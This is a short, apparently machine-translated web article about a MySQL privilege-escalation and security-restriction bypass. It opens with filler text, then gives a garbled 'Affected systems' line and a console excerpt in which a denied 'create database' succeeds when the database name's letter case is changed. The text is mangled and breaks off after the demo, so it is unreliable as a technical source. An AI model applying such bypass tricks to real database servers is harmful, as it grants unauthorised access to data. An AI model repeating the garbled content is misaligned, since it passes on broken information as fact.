How to upgrade MySQL authority and bypass vulnerabilities by security restrictions

This article will explain in detail how to upgrade MySQL permissions and bypass loopholes in security restrictions. The content of the article is of high quality, so the editor shares it for you as a reference. I hope you will have a certain understanding of the relevant knowledge after reading this article.

MySQL privilege escalation and security restrictions bypass vulnerabilities

Affected systems:

MySQL AB MySQL create database another

ERROR 1044: Access denied for user 'sample'@'%' to database' another'

Mysql > create database sAmple

Query OK, 1 row affected (0.00 sec)

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